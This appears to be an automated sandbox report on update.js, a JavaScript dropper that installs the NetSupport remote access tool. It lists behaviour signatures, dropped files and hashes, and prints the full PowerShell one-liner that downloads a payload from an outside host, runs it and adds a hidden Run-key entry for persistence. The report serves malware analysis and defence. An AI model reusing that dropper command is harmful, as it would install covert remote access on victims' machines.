Analysis

  • max time kernel
    605s
  • max time network
    1748s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/02/2024, 20:21

General

  • Target
    update.js
  • Size 350KB
  • Sample240205-y47dwafff6
  • SHA256 d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://ghostcitygames.com/data.php?6937

  • exe.dropper

    https://ghostcitygames.com/data.php?6937

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:968

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_qv3cwjt0.z04.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv3cwjt0.z04.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        HTCTL32.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\HTCTL32.DLL
        • Size 320KB
        • SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
        • MD5 SHA1 SHA512 SSDEEP

        MSVCR100.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\MSVCR100.dll
        • Size 366KB
        • SHA256 093241f3dc43cd8da79aa9bd179d8e9b3fe25968aa0714406fe7c499f14e5270
        • MD5 SHA1 SHA512 SSDEEP

        NSM.LIC

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\NSM.LIC
        • Size 258B
        • SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
        • MD5 SHA1 SHA512

        PCICHEK.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\PCICHEK.DLL
        • Size 18KB
        • SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
        • MD5 SHA1 SHA512 SSDEEP

        PCICL32.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.DLL
        • Size 685KB
        • SHA256 c92ec3058b412754bd1733db26787a12f43e05fcfb266041d8f7146db9c66655
        • MD5 SHA1 SHA512 SSDEEP

        PCICL32.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.dll
        • Size 497KB
        • SHA256 37192862a8a143c264353b1e0590d0c5f106bd87a261b884578036c61ff0ef86
        • MD5 SHA1 SHA512 SSDEEP

        client32.exe

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe
        • Size 101KB
        • SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
        • MD5 SHA1 SHA512 SSDEEP

        client32.ini

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\client32.ini
        • Size 701B
        • SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
        • MD5 SHA1 SHA512

        msvcr100.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll
        • Size 404KB
        • SHA256 f40fee2991c35c6c12c49968f23d66c3b74f36bf27cbf1bfa193056302e20217
        • MD5 SHA1 SHA512 SSDEEP

        msvcr100.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll
        • Size 485KB
        • SHA256 457b93f151da3d5c6bfc9868f37965266d12167ec58eedcc395941fc41dd816d
        • MD5 SHA1 SHA512 SSDEEP

        pcicapi.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX564\pcicapi.dll
        • Size 32KB
        • SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
        • MD5 SHA1 SHA512 SSDEEP

        memory/1700-82-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp

        memory/1700-14-0x0000020258970000-0x000002025897A000-memory.dmp

        memory/1700-15-0x00000202589A0000-0x00000202589B2000-memory.dmp

        memory/1700-11-0x00000202589C0000-0x00000202589D0000-memory.dmp

        memory/1700-12-0x00000202589C0000-0x00000202589D0000-memory.dmp

        memory/1700-10-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp

        memory/1700-9-0x0000020258920000-0x0000020258942000-memory.dmp